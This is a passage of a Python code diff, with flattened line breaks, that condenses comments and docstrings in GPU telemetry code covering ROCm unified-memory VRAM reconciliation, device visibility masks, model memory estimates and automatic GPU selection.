_gpu_utilization_payload(device, gpu_array)- # MLXif device == DeviceType.MLX:try:import psutil@@ -5066,19 +3730,11 @@ def get_gpu_utilization() -> Dict[str, Any]:def _apply_unified_memory_correction(device_metrics: Dict[str, Any], torch_info: Dict[str, Any]) -> None:- """Per-device reconciliation: when torch reports a larger memory total- than amd-smi, overwrite the smi VRAM fields in place.-- Used by both the multi-device and primary-device reconcilers so the two- endpoints stay in sync on AMD iGPUs with unified memory.- """+ """Per-device reconciliation: when torch reports a larger memory total than amd-smi, overwrite the smi VRAM fields in place. Used by both the multi-device and primary-device reconcilers, so the two endpoints stay in sync on AMD iGPUs with unified memory."""torch_total_gb = torch_info["total_gb"]torch_used_gb = torch_info.get("used_gb")smi_total_gb = device_metrics.get("vram_total_gb") or 0.0- # torch sees the full unified (GTT) pool; amd-smi only the dedicated carve-out.- # Adopt torch's larger total regardless of used: on Windows ROCm torch_used is- # None (free==total sentinel) but its total stays authoritative. Overwrite used- # only when torch's is known, then recompute utilization against whatever remains.+ # torch sees the full unified (GTT) pool; amd-smi only the dedicated carve-out. Adopt torch's larger total regardless of used, since on Windows ROCm torch_used is None (free==total sentinel) while its total stays authoritative; overwrite used only when torch's is known.if torch_total_gb > smi_total_gb:device_metrics["vram_total_gb"] = torch_total_gbif torch_used_gb is not None:@@ -5099,11 +3755,7 @@ def _apply_unified_memory_correction(def _reconcile_rocm_unified_memory(utilization: Dict[str, Any], device_indices: list[int]) -> None:- """Fix amd-smi VRAM for ROCm unified-memory GPUs (e.g. Strix Halo).-- amd-smi reports only the dedicated slice; torch sees the full GTT pool. When- torch total > smi total, overwrite per-device VRAM fields with the real value.- """+ """Fix amd-smi VRAM for ROCm unified-memory GPUs (e.g. Strix Halo): amd-smi reports only the dedicated slice while torch sees the full GTT pool, so where torch's total is larger, overwrite the per-device VRAM fields."""torch_devices = _torch_get_per_device_info(device_indices)if not torch_devices:return@@ -5224,8 +3876,7 @@ def _reconcile_primary_rocm_unified_memory(# No visibility env var set: torch ordinal 0 is the primary device.primary_idx = [0]elif len(numeric_ids) == 0:- # Empty mask: no GPU visible. Querying torch device 0 would raise or- # return stale data, so bail rather than write bad values.+ # Empty mask: no GPU visible. Querying torch device 0 would raise or return stale data, so bail rather than write bad values.returnelse:primary_idx = [int(numeric_ids[0])]@@ -5309,14 +3960,7 @@ def _rocm_linux_sysfs_vram_by_index(def _rocm_system_wide_vram_by_index(devices: list[Dict[str, Any]],) -> Dict[int, tuple[float, float]]:- """Decide the system-wide overlay without applying it.-- Returns ``{physical index: (used_gb, total_gb)}`` for every device sysfs can- speak for, and omits the ones it cannot. Split out from- _overlay_system_wide_vram so a caller can ask whether sysfs covers the whole- visible set BEFORE paying torch for occupancy it would then discard. Reads- only ``vram_total_gb`` off ``devices``; it never mutates them.- """+ """Decide the system-wide overlay without applying it: {physical index: (used_gb, total_gb)} for every device sysfs can speak for, omitting the rest. Split out from _overlay_system_wide_vram so a caller can ask whether sysfs covers the whole visible set BEFORE paying torch for occupancy it would discard. Never mutates ``devices``."""raw = _rocm_linux_sysfs_vram_by_index(devices)resolved: Dict[int, tuple[float, float]] = {}for dev in devices:@@ -5326,12 +3970,7 @@ def _rocm_system_wide_vram_by_index(continueused, total = entrydev_total = dev.get("vram_total_gb") or 0.0- # Overlay only a device that maps 1:1 to the whole card: torch total must- # match sysfs total within ~10%. A mismatch either way means a different- # memory scope -- a unified-memory APU (sysfs sees only the dedicated- # slice, torch the GTT pool) or a partitioned MI300 (sysfs reports the- # whole card, dwarfing a partition) -- and overlaying would misstate free- # VRAM (a partition would look like it has the whole card free).+ # Overlay only a device that maps 1:1 to the whole card (torch total within ~10% of sysfs): a mismatch either way means a different memory scope -- a unified-memory APU, or a partitioned MI300 whose sysfs reports the whole card -- and overlaying would misstate free VRAM.if dev_total <= 0 or abs(total - dev_total) > 0.1 * dev_total:continueresolved[index] = (used, total)@@ -5371,22 +4010,7 @@ def _apply_system_wide_vram(def _overlay_system_wide_vram(devices: list[Dict[str, Any]]) -> None:- """Replace process-local torch VRAM with system-wide Linux ROCm figures.-- The torch fallback is process-local, so a model served by the separate- llama-server process reads as ~0 used even with the GPU full (#7072). DRM- sysfs gives per-card figures the kernel updates across all processes. Sources- are matched by the device's PHYSICAL index (never list position), and only- when NO visibility mask is active and the device count equals the host GPU- count; under any mask the index is not a verifiable host ordinal, so torch's- figures are kept. Best-effort, in place: a device with no matching card, or a- unified-memory APU whose sysfs total is below torch's GTT-backed total, keeps- torch's (mirrors _apply_unified_memory_correction).-- Windows is intentionally not overlaid: its per-adapter perf counters cannot be- mapped to ROCm ordinals and miss WDDM shared memory, so the multi-GPU view- keeps torch there rather than risk misattributing another adapter's usage.- """+ """Replace process-local torch VRAM with system-wide Linux ROCm figures: the torch fallback is process-local, so a model served by the separate llama-server process reads as ~0 used with the GPU full (#7072), while DRM sysfs figures are kernel-updated across processes. Matched by PHYSICAL index, never list position, and only with NO visibility mask active and the device count equal to the host GPU count, since under a mask the index is not a verifiable host ordinal. Best-effort and in place: a device with no matching card, or an APU whose sysfs total is below torch's GTT-backed total, keeps torch's. Windows is intentionally not overlaid: its per-adapter counters cannot be mapped to ROCm ordinals and miss WDDM shared memory."""_apply_system_wide_vram(devices, _rocm_system_wide_vram_by_index(devices))@@ -5413,9 +4037,7 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:_reconcile_cuda_integrated_memory(result, numeric_ids)return result- # Windows AMD/ROCm (issue #7072): the System tab's VRAM source. The torch- # fallback below would report used==0 (free==total), so read per-adapter- # Dedicated Usage instead; total from torch properties.+ # Windows AMD/ROCm (#7072): the System tab's VRAM source. The torch fallback below would report used==0 (free==total), so read per-adapter Dedicated Usage instead; total from torch properties.if IS_ROCM and platform.system() == "Windows":win_numeric_ids = parent_visible_spec.get("numeric_ids")if win_numeric_ids:@@ -5454,12 +4076,11 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:"parent_visible_gpu_ids": win_numeric_ids or [],"devices": devices,"index_kind": win_index_kind,- # Host total for the System tab tile: known even when no single- # device's usage is attributable (#7452).+ # Host total for the System tab tile: known even when no single device's usage is attributable (#7452)."vram_used_gb_aggregate": win_aggregate,}- # Torch-based fallback for CUDA (nvidia-smi unavailable, AMD ROCm) and XPU (Intel)+ # Torch-based fallback for CUDA (nvidia-smi unavailable, AMD ROCm) and XPU (Intel).if device in (DeviceType.CUDA, DeviceType.XPU):parent_ids = get_parent_visible_gpu_ids()# Empty parent_ids (UUID/MIG mask or no CVD): enumerate torch ordinals.@@ -5471,12 +4092,7 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:torch_indices = list(range(visible_count))index_kind = "relative"- # Linux ROCm: sysfs first. The overlay below replaces torch's process-local- # figures with these same numbers anyway, so asking torch first buys a- # permanent context and throws the answer away. Totals come from device- # properties, which cost nothing and are what the overlay's check compares- # against. Only when sysfs covers EVERY visible device; otherwise fall- # through to torch, so a device the overlay declines still gets a number.+ # Linux ROCm: sysfs first. The overlay below replaces torch's process-local figures with these same numbers anyway, so asking torch first buys a permanent context and throws the answer away. Only when sysfs covers EVERY visible device; otherwise fall through to torch, so a device the overlay declines still gets a number.if IS_ROCM and index_kind == "physical" and platform.system() == "Linux":inventory = _torch_get_device_inventory(torch_indices)probe = [{"index": inv["index"], "vram_total_gb": inv["total_gb"]} for inv in inventory]@@ -5513,10 +4129,7 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:for td in torch_devices:total = td["total_gb"]used = td["used_gb"]- # used=None is a deliberate "telemetry unavailable" signal- # from _torch_get_per_device_info (e.g. XPU without- # mem_get_info); propagate None instead of dividing by it. On- # CUDA/ROCm used is always an int, so this stays byte-identical.+ # used=None is a deliberate "telemetry unavailable" signal from _torch_get_per_device_info (e.g. XPU without mem_get_info); propagate None instead of dividing by it.vram_pct = (round((used / total) * 100, 1) if used is not None and total > 0 else None)@@ -5536,10 +4149,7 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:})if IS_ROCM and index_kind == "physical":- # Swap process-local torch VRAM for system-wide sysfs so a model- # held by the separate llama-server process shows up (#7072).- # Physical-index only: a relative index (UUID/MIG mask) is not a- # host GPU id. The overlay verifies the rest itself.+ # Swap process-local torch VRAM for system-wide sysfs so a model held by the separate llama-server process shows up (#7072). Physical-index only: a relative index (UUID/MIG mask) is not a host GPU id._overlay_system_wide_vram(devices)return {"available": True,@@ -5572,8 +4182,7 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:"temperature_c": None,"vram_used_gb": round(mem.get("allocated_gb", 0), 2),"vram_total_gb": round(mem.get("total_gb", 0), 2),- # Unified memory: free is not total - used, so publish it- # rather than let the caller subtract.+ # Unified memory: free is not total - used, so publish it rather than let the caller subtract."vram_free_gb": round(mem.get("free_gb", 0), 2),"vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),"power_draw_w": None,@@ -5593,18 +4202,14 @@ def get_visible_gpu_utilization() -> Dict[str, Any]:}-# ========== Multi-GPU Detection & Safe num_proc ==========-_physical_gpu_count: Optional[int] = None-# Whether the cached count came from the SMI (physical) or the torch fallback-# (visibility-filtered). Only the former can answer "is this host single-GPU".+# Whether the cached count came from the SMI (physical) or the torch fallback (visibility-filtered). Only the former can answer "is this host single-GPU"._physical_gpu_count_from_smi: bool = False_visible_gpu_count: Optional[int] = Nonedef _get_parent_visible_gpu_spec() -> Dict[str, Any]:- # On Intel XPU, visibility is controlled by ZE_AFFINITY_MASK (Level Zero),- # not CUDA_VISIBLE_DEVICES.+ # On Intel XPU, visibility is controlled by ZE_AFFINITY_MASK (Level Zero), not CUDA_VISIBLE_DEVICES.if get_device() == DeviceType.XPU:xpu_mask_raw = os.environ.get("ZE_AFFINITY_MASK")composite = _xpu_hierarchy_is_composite()@@ -5617,9 +4222,7 @@ def _get_parent_visible_gpu_spec() -> Dict[str, Any]:"numeric_ids": list(range(get_physical_gpu_count())),"supports_explicit_gpu_ids": True,}- # FLAT (oneAPI default): ordinals are tile/device handles, not- # physical GPU IDs. numeric_ids=None so telemetry uses relative- # ordinals; explicit selection needs ZE_FLAT_DEVICE_HIERARCHY=COMPOSITE.+ # FLAT (oneAPI default): ordinals are tile/device handles, not physical GPU IDs, so numeric_ids=None and telemetry uses relative ordinals; explicit selection needs ZE_FLAT_DEVICE_HIERARCHY=COMPOSITE.return {"raw": None,"numeric_ids": None,@@ -5634,8 +4237,7 @@ def _get_parent_visible_gpu_spec() -> Dict[str, Any]:"supports_explicit_gpu_ids": True,}- # Subdevice syntax ("N.M") expands one root into multiple- # logical devices -- not addressable by explicit root-ID selection.+ # Subdevice syntax ("N.M") expands one root into several logical devices, which explicit root-ID selection cannot address.has_subdevice = any("." in token.strip() for token in xpu_mask.split(",") if token.strip())if has_subdevice:return {@@ -5644,9 +4246,7 @@ def _get_parent_visible_gpu_spec() -> Dict[str, Any]:"supports_explicit_gpu_ids": False,}- # FLAT numeric entries are tile handles, not physical GPU IDs. Keep- # numeric_ids unresolved so every telemetry and picker consumer uses- # relative torch ordinals and cannot advertise them as pinnable roots.+ # FLAT numeric entries are tile handles, not physical GPU IDs: keep numeric_ids unresolved so consumers use relative torch ordinals and cannot advertise them as pinnable roots.if not composite:tokens = [token.strip() for token in xpu_mask.split(",") if token.strip()]if tokens and all(token.isdecimal() for token in tokens):@@ -5661,12 +4261,10 @@ def _get_parent_visible_gpu_spec() -> Dict[str, Any]:"supports_explicit_gpu_ids": False,}- # COMPOSITE + pure numeric (subdevice handled above). _parse_ze_mask_roots- # maps to root GPU IDs, dropping non-decimal tokens so "*"/"GPU-uuid" -> [].+ # COMPOSITE + pure numeric (subdevice handled above). _parse_ze_mask_roots maps to root GPU IDs, dropping non-decimal tokens so "*"/"GPU-uuid" -> [].roots_with_dupes = _parse_ze_mask_roots(xpu_mask)if not roots_with_dupes:- # Unparseable mask (e.g. "*", "GPU-uuid") -- cannot map to- # physical root IDs.+ # Unparseable mask ("*", "GPU-uuid"): cannot map to physical root IDs.return {"raw": xpu_mask,"numeric_ids": None,@@ -5679,20 +4277,16 @@ def _get_parent_visible_gpu_spec() -> Dict[str, Any]:"supports_explicit_gpu_ids": True,}- # ROCm uses HIP/ROCR_VISIBLE_DEVICES on top of CUDA_VISIBLE_DEVICES; check- # them first. Explicit None checks (not `or`) so "" reads as "no visible GPUs".+ # ROCm uses HIP/ROCR_VISIBLE_DEVICES on top of CUDA_VISIBLE_DEVICES, so check them first. Explicit None checks (not `or`) so "" reads as "no visible GPUs".cuda_visible = None- # Prefer ROCm masks only on a ROCm host or when no CUDA mask is set, so a- # stale HIP_VISIBLE_DEVICES on NVIDIA can't override CUDA_VISIBLE_DEVICES.+ # Prefer ROCm masks only on a ROCm host or when no CUDA mask is set, so a stale HIP_VISIBLE_DEVICES on NVIDIA cannot override CUDA_VISIBLE_DEVICES._is_rocm_spec = IS_ROCM or ("CUDA_VISIBLE_DEVICES" not in os.environand ("HIP_VISIBLE_DEVICES" in os.environ or "ROCR_VISIBLE_DEVICES" in os.environ))if _is_rocm_spec:hip_vis = os.environ.get("HIP_VISIBLE_DEVICES")- # ROCR_VISIBLE_DEVICES is Linux-only: Windows HIP has no ROCr layer, so a- # stray ROCR var there masks nothing and must not be read as the- # ordinal->physical mapping (mirrors the llama.cpp backend).+ # ROCR_VISIBLE_DEVICES is Linux-only: Windows HIP has no ROCr layer, so a stray ROCR var there masks nothing and must not be read as the ordinal->physical mapping.rocr_vis = None if sys.platform == "win32" else os.environ.get("ROCR_VISIBLE_DEVICES")if hip_vis is not None:cuda_visible = hip_vis@@ -5753,10 +4347,7 @@ def resolve_requested_gpu_ids(return [] if is_vulkan else parent_visible_idsif is_vulkan:- # A Vulkan build selects by ggml Vulkan ordinal (--device VulkanN), a separate- # index space from CUDA/ROCm ids that may be empty under CPU-only torch. The- # CUDA parent-visible / physical-count checks below do not apply; only reject- # malformed ordinals (issue #7239).+ # A Vulkan build selects by ggml Vulkan ordinal (--device VulkanN), a separate index space from CUDA/ROCm ids that may be empty under CPU-only torch, so the checks below do not apply; only reject malformed ordinals (#7239).if len(set(requested_ids)) != len(requested_ids):raise ValueError(f"Invalid gpu_ids {requested_ids}: duplicate GPU IDs are not allowed.")negative_ids = [gpu_id for gpu_id in requested_ids if gpu_id < 0]@@ -5792,9 +4383,7 @@ def resolve_requested_gpu_ids(f"Rejected IDs: {negative_ids}. Parent-visible GPUs: {parent_visible_ids}")- # Only enforce the physical upper bound when the count is reliable (nvidia-smi).- # A torch count reflects only visible devices, so it could falsely reject valid- # physical indices. The parent-visible check below is always authoritative.+ # Only enforce the physical upper bound when the count is reliable (nvidia-smi): a torch count reflects only visible devices and could falsely reject valid physical indices. The parent-visible check below is always authoritative.if physical_gpu_count > 0 and parent_visible_ids:max_parent_id = max(parent_visible_ids)if physical_gpu_count > max_parent_id:@@ -6049,9 +4638,7 @@ def _get_local_weight_size_bytes(model_name: str) -> Optional[int]:if not model_path.exists():return None- # Skip intermediate training checkpoints: a run dir can hold several- # checkpoint-*/global_step* snapshots, but export loads only the model at- # the root, so counting them would multiply the estimate.+ # Skip intermediate training checkpoints: a run dir can hold several checkpoint-*/global_step* snapshots, but export loads only the model at the root, so counting them would multiply the estimate.skip_prefixes = ("checkpoint-", "global_step")found = []indexed_dirs = []@@ -6182,9 +4769,7 @@ def _get_hf_safetensors_total_params(def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = None):- # Estimation needs only declarative config.json fields, and this probe runs- # on model selection, so read raw config.json (never run auto_map Python) and- # expose it as an attribute namespace for downstream getattr access.+ # Estimation needs only declarative config.json fields and this probe runs on model selection, so read raw config.json (never run auto_map Python) and expose it as an attribute namespace.try:from utils.transformers_version import _load_config_json@@ -6199,8 +4784,7 @@ def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = Nonreturn _to_ns(cfg)except Exception as e:- # A 5.x-only config can't be parsed by the default transformers; that is- # expected (the worker reloads under the sidecar), so only warn for default tier.+ # A 5.x-only config cannot be parsed by the default transformers; that is expected (the worker reloads under the sidecar), so only warn for the default tier.tier = "default"try:from utils.transformers_version import get_transformers_tier@@ -6221,9 +4805,7 @@ def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = Nondef _determine_attention_impl_for_gpu_estimate(config) -> str:- # torch.distributed is incomplete on Windows ROCm (torch._C._distributed_c10d- # can't be imported). Inject stubs into sys.modules before importing- # torch.distributed, then patch the missing process-group helpers.+ # torch.distributed is incomplete on Windows ROCm (torch._C._distributed_c10d will not import), so inject stubs into sys.modules before importing it, then patch the missing process-group helpers.if sys.platform == "win32" and IS_ROCM:# Dummy for any name torch.distributed imports from these stubs.class _Dummy:@@ -6236,7 +4818,6 @@ def _determine_attention_impl_for_gpu_estimate(config) -> str:):if _c10d_name not in sys.modules:_stub = types.ModuleType(_c10d_name)- # No-op dummies for names torch.distributed imports from _distributed_c10d.for _sym in ("FakeProcessGroup","ProcessGroup",@@ -6272,9 +4853,7 @@ def _determine_attention_impl_for_gpu_estimate(config) -> str:from unsloth.models._utils import resolve_attention_implementationfrom transformers import AutoModel, AutoModelForCausalLM- # why: resolve_attention_implementation writes _attn_implementation onto the- # config and propagates to nested sub-configs; a shallow copy would still- # mutate the cached config's shared inner objects. Deepcopy isolates them.+ # resolve_attention_implementation writes _attn_implementation onto the config and propagates to nested sub-configs, so a shallow copy would still mutate the cached config's shared inner objects.config_copy = copy.deepcopy(config)model_class = None@@ -6362,9 +4941,7 @@ def estimate_fp16_model_size_bytes(local_bytes = _get_local_weight_size_bytes(estimate_model)- # why: config-derived bytes cover only the text tower; local safetensors- # include vision/audio towers. Take the larger so the multimodal- # extra_bytes correction can fire.+ # Config-derived bytes cover only the text tower while local safetensors include the vision/audio towers, so take the larger and let the multimodal extra_bytes correction fire.if config_bytes is not None and local_bytes is not None:if local_bytes > config_bytes:return local_bytes, "weight_bytes"@@ -6450,29 +5027,25 @@ def estimate_required_model_memory_gb(config)except Exception as e:- # Debug-level: fires every estimate on Windows ROCm (stub lacks Store);- # expected and non-actionable -- eager is the safe fallback.+ # Debug-level: fires every estimate on Windows ROCm (the stub lacks Store); expected and non-actionable, since eager is the safe fallback.logger.debug("Could not resolve attention implementation for '%s': %s",estimate_model,e,)- # why: charge the quadratic non-flash activation path so GPU- # selection stays conservative when flash attn isn't proven usable.+ # Charge the quadratic non-flash activation path so GPU selection stays conservative when flash attn is not proven usable.vram_config.attention_implementation = "eager"arch = extract_arch_config(config) if config is not None else Noneif arch is not None:breakdown = estimate_training_vram(arch, vram_config)- # why: extract_arch_config only sees text_config; add the vision/audio- # tower bytes that the text-arch fp16 total misses.+ # extract_arch_config only sees text_config; add the vision/audio tower bytes the text-arch fp16 total misses.arch_fp16_bytes = compute_total_params(arch) * 2extra_bytes = max(0, int(model_size_bytes) - arch_fp16_bytes)if extra_bytes > 0:breakdown.model_weights += extra_bytesif training_method == "full":- # why: full fine-tuning makes extra params trainable; optimizer +- # gradient bytes scale with them.+ # Full fine-tuning makes extra params trainable, so optimizer and gradient bytes scale with them.extra_params = extra_bytes // 2breakdown.optimizer_states += compute_optimizer_bytes(extra_params,@@ -6515,12 +5088,7 @@ _CONCRETE_GFX_ARCH = re.compile(r"^gfx[0-9][0-9a-f]{2,4}$")def rocm_gpu_ids_without_torch_kernels() -> set[int]:- """PHYSICAL ids of visible ROCm GPUs the installed torch wheel has no kernels for.-- Compares what the device PRESENTS, not its silicon, so ``HSA_OVERRIDE_GFX_VERSION``- keeps working (#7624). Every uncertainty fails OPEN, the opposite of the bf16 gate;- one unreadable device is skipped, not treated as voiding the probe, which would- restore the known-uncovered card and re-break #8792."""+ """PHYSICAL ids of visible ROCm GPUs the installed torch wheel has no kernels for. Compares what the device PRESENTS, not its silicon, so HSA_OVERRIDE_GFX_VERSION keeps working (#7624). Every uncertainty fails OPEN, the opposite of the bf16 gate: one unreadable device is skipped rather than voiding the probe, which would restore the known-uncovered card and re-break #8792."""try:import torch@@ -6562,14 +5130,11 @@ def rocm_gpu_ids_without_torch_kernels() -> set[int]:device_count = torch.cuda.device_count()if device_count > len(physical_ids):- # Unmasked, so ordinal IS physical id and a short list is only amd-smi missing- # the iGPU #8792 is about: EXTEND, or the gate dies on the reported host.+ # Unmasked, so ordinal IS physical id and a short list is only amd-smi missing the iGPU #8792 is about: EXTEND, or the gate dies on the reported host.if visible_spec["raw"] is None:physical_ids = list(range(device_count))else:- # A real mask that device_count disagrees with: _device_count_amdsmi runs- # before init and cannot see the HIP layer. Naming the overflow into the- # physical namespace collides with ids other ordinals own.+ # A real mask that device_count disagrees with: _device_count_amdsmi runs before init and cannot see the HIP layer, and naming the overflow into the physical namespace collides with ids other ordinals own.logger.debug("Skipping torch arch gate: %s torch devices but mask %r names %s ids",device_count,@@ -6600,10 +5165,7 @@ def rocm_gpu_ids_without_torch_kernels() -> set[int]:unsupported_ordinals += 1unsupported.add(physical_ids[ordinal])- # Dropping every device would leave the caller no GPU and silently force CPU.- # Ordinals, not ids: a mask may name one id twice and the deduplicated set then- # reads as fewer devices than were rejected. And readable == device_count, because- # an unread device is still selectable, so this is not "every device".+ # Dropping every device would leave the caller no GPU and silently force CPU. Ordinals, not ids: a mask may name one id twice and the deduplicated set then reads as fewer devices than were rejected. readable == device_count, because an unread device is still selectable.if readable and readable == device_count and unsupported_ordinals >= readable:logger.warning("The installed PyTorch build has no kernels for any GPU on this host "@@ -6633,9 +5195,7 @@ def auto_select_gpu_ids() -> tuple[Optional[list[int]], Dict[str, Any]]:metadata: Dict[str, Any] = {"selection_mode": "auto"}- # Auto-selection needs per-device free-VRAM telemetry, available on CUDA- # (nvidia-smi) and XPU (torch.xpu) but not MLX/CPU, which fall- # through to inheriting parent visibility.+ # Auto-selection needs per-device free-VRAM telemetry, available on CUDA (nvidia-smi) and XPU (torch.xpu) but not MLX/CPU, which inherit parent visibility.if get_device() not in (DeviceType.CUDA, DeviceType.XPU):metadata["selection_mode"] = "non_accelerator"return None, metadata@@ -6682,7 +5242,7 @@ def auto_select_gpu_ids(return [gpu_id for gpu_id in ids if gpu_id not in _uncovered]if required_gb is None:- # Can't estimate size -- use all visible GPUs rather than risk one too small.+ # Cannot estimate size: use all visible GPUs rather than risk one too small.parent_ids = _covered(get_parent_visible_gpu_ids())metadata["selection_mode"] = "fallback_all"metadata["selected_gpu_ids"] = parent_ids@@ -6720,13 +5280,10 @@ def auto_select_gpu_ids(free_by_index = {item["index"]: item["free_gb"] for item in ranked}selected: list[int] = []usable_gb = 0.0- # Sharding has inter-GPU overhead, so each extra GPU contributes less than- # its raw free memory (first GPU keeps full capacity). 0.85 is empirical on- # 2-8 GPU setups: covers NCCL buffers, pipeline bubbles, fragmentation.+ # Sharding has inter-GPU overhead, so each extra GPU contributes less than its raw free memory. 0.85 is empirical on 2-8 GPU setups: NCCL buffers, pipeline bubbles, fragmentation.multi_gpu_overhead = 0.85- # Per-GPU check: activations don't shard, so each GPU needs its weight shard- # + full activation cost. Uses precomputed min_per_gpu_N values.+ # Per-GPU check: activations do not shard, so each GPU needs its weight shard plus the full activation cost.vram_breakdown = estimate_metadata.get("vram_breakdown", {})for candidate in ranked:@@ -6802,21 +5359,7 @@ def prepare_gpu_selection(optimizer: str = "adamw_8bit",required_override_gb: Optional[float] = None,) -> tuple[Optional[list[int]], Dict[str, Any]]:- """Resolve which physical GPUs to use for a model load.-- GPU selection modes:- - **Explicit** (``gpu_ids=[5, 6, 7]``): caller chooses exact GPUs.- All listed GPUs are used and the model is sharded via- ``device_map="balanced"``, even if it would fit on fewer. IDs are- validated against the parent-visible set.- - **Auto** (``gpu_ids=None`` or ``[]``): ``auto_select_gpu_ids``- estimates VRAM needs and picks the *minimum* GPUs needed,- preferring those with the most free memory.-- The returned ``gpu_ids`` is later passed to ``get_device_map()`` (maps it- to a Hugging Face ``device_map`` string) and to ``apply_gpu_ids()`` in the- worker subprocess (narrows ``CUDA_VISIBLE_DEVICES`` before torch/CUDA init).- """+ """Resolve which physical GPUs to use for a model load. Explicit (gpu_ids=[5, 6, 7]) uses exactly those, sharded via device_map="balanced" even if fewer would do, validated against the parent-visible set; auto (None or []) lets auto_select_gpu_ids estimate VRAM and pick the minimum, preferring the most free memory. The result is passed to get_device_map() and to apply_gpu_ids() in the worker, which narrows CUDA_VISIBLE_DEVICES before torch init."""if gpu_ids and get_device() not in (DeviceType.CUDA, DeviceType.XPU):raise ValueError(f"gpu_ids {list(gpu_ids)} is only supported on CUDA and Intel XPU "@@ -6848,12 +5391,7 @@ def prepare_gpu_selection(def get_physical_gpu_count() -> int:- """- Return the number of physical GPUs on the machine.-- Uses ``nvidia-smi -L`` on NVIDIA (unaffected by CUDA_VISIBLE_DEVICES),- with a torch fallback for AMD ROCm and Intel XPU. Cached after first call.- """+ """Number of physical GPUs on the machine, from `nvidia-smi -L` (unaffected by CUDA_VISIBLE_DEVICES) with a torch fallback for AMD ROCm and Intel XPU. Cached after the first call."""global _physical_gpu_count, _physical_gpu_count_from_smiif _physical_gpu_count is not None:return _physical_gpu_count@@ -6873,7 +5411,7 @@ def get_physical_gpu_count() -> int:return _physical_gpu_countexcept Exception:pass- # SMI unavailable -- fall back to torch.+ # SMI unavailable: fall back to torch.count = _torch_get_physical_gpu_count()_physical_gpu_count = count if count is not None else 1return _physical_gpu_count@@ -6893,14 +5431,7 @@ def get_physical_gpu_count() -> int:def _backend_visible_devices_env() -> Optional[str]:- """Return the raw visibility env string that applies to this backend.-- On XPU the control is ``ZE_AFFINITY_MASK`` (not ``CUDA_VISIBLE_DEVICES``);- on ROCm, HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES take precedence over- CUDA_VISIBLE_DEVICES. Mirrors ``_get_parent_visible_gpu_spec`` so- ``backend_cuda_visible_devices`` reports the value actually narrowing the- visible device set on the current backend.- """+ """The raw visibility env string that applies to this backend: ZE_AFFINITY_MASK on XPU, and HIP_/ROCR_VISIBLE_DEVICES ahead of CUDA_VISIBLE_DEVICES on ROCm. Mirrors _get_parent_visible_gpu_spec, so backend_cuda_visible_devices reports the value actually narrowing the visible set."""if get_device() == DeviceType.XPU:return os.environ.get("ZE_AFFINITY_MASK")if IS_ROCM:@@ -6909,9 +5440,8 @@ def _backend_visible_devices_env() -> Optional[str]:def get_vulkan_inference_gpu_info() -> Optional[Dict[str, Any]]:- """Return llama.cpp Vulkan devices, or None when Vulkan is not installed."""- # Vulkan is a llama.cpp inference backend, not a PyTorch training device, so- # keep it separate from the PyTorch/MLX training-device report.+ """llama.cpp Vulkan devices, or None when Vulkan is not installed."""+ # Vulkan is a llama.cpp inference backend, not a PyTorch training device, so keep it out of the PyTorch/MLX training-device report.try:from core.inference.llama_cpp import (LlamaCppBackend,@@ -6947,8 +5477,7 @@ def get_vulkan_inference_gpu_info() -> Optional[Dict[str, Any]]:result["devices"].append({"index": ordinal,- # ggml Vulkan ordinals are the space `--device Vulkan<i>` pins,- # so unlike a torch-xpu relative ordinal these are selectable.+ # ggml Vulkan ordinals are the space `--device Vulkan<i>` pins, so unlike a torch-xpu relative ordinal these are selectable."index_kind": "vulkan","visible_ordinal": ordinal,"name": row["name"],@@ -7058,8 +5587,7 @@ def get_backend_visible_gpu_info() -> Dict[str, Any]:except Exception as e:logger.warning("Backend GPU visibility query failed: %s", e)- # Torch fallback (ROCm, XPU, nvidia-smi missing). Empty parent_visible_ids- # (UUID/MIG mask) -> enumerate by torch ordinal so the UI shows devices.+ # Torch fallback (ROCm, XPU, nvidia-smi missing). Empty parent_visible_ids (UUID/MIG mask) -> enumerate by torch ordinal so the UI shows devices.if parent_visible_ids:torch_indices = parent_visible_idsindex_kind = "physical"@@ -7067,8 +5595,7 @@ def get_backend_visible_gpu_info() -> Dict[str, Any]:visible_count = _torch_get_physical_gpu_count() or 0torch_indices = list(range(visible_count))index_kind = "relative"- # Inventory only: this endpoint reads name and total and discards used, so- # there is nothing here worth a permanent driver context.+ # Inventory only: this endpoint reads name and total and discards used, so nothing here is worth a permanent driver context.torch_devices = _torch_get_device_inventory(torch_indices)if torch_devices:if IS_ROCM and platform.system() == "Linux":@@ -7090,19 +5617,13 @@ def get_backend_visible_gpu_info() -> Dict[str, Any]:"name": td["name"],"memory_total_gb": td["total_gb"],"shared_memory": bool(td.get("shared_memory") or td.get("_cuda_integrated")),- # An integrated part's total IS host memory; publishing it here is- # what stops a consumer adding the two pools together.+ # An integrated part's total IS host memory; publishing it here is what stops a consumer adding the two pools together."shared_memory_host_backed_gb": (td["total_gb"]if td.get("_cuda_integrated")else td.get("shared_memory_host_backed_gb")),- # Surfaced from the inventory's own `_rocm_known_unified`- # rather than re-derived: a ROCm APU's total is the GTT pool,- # which moves with host usage and is not a VRAM ceiling a fit- # verdict can be measured against. Distinct from- # `shared_memory`, which is that flag AND Windows, so a Linux- # APU reads as not-shared while still having no such ceiling.+ # Surfaced from the inventory's own `_rocm_known_unified` rather than re-derived: a ROCm APU's total is the GTT pool, which moves with host usage and is no VRAM ceiling a fit verdict can be measured against. Distinct from `shared_memory`, which is that flag AND Windows, so a Linux APU reads as not-shared while still having no ceiling."unified_memory": bool(td.get("_rocm_known_unified") or td.get("_cuda_integrated")),@@ -7180,27 +5701,18 @@ def get_backend_visible_gpu_info() -> Dict[str, Any]:"parent_visible_gpu_ids": [],"devices": [],"index_kind": "vulkan",- # Physically present cards this PyTorch cannot open, reported ALONGSIDE the empty- # `devices` above and never merged into it.+ # Physically present cards this PyTorch cannot open, reported ALONGSIDE the empty `devices` above and never merged into it.**_torch_gpu_mismatch_report(),}def get_visible_gpu_count() -> int:- """- Return the number of GPUs visible to this process.-- Respects ``CUDA_VISIBLE_DEVICES`` -- if set, only those GPUs count.- Falls back to physical count if unset or torch is unavailable.- Cached after 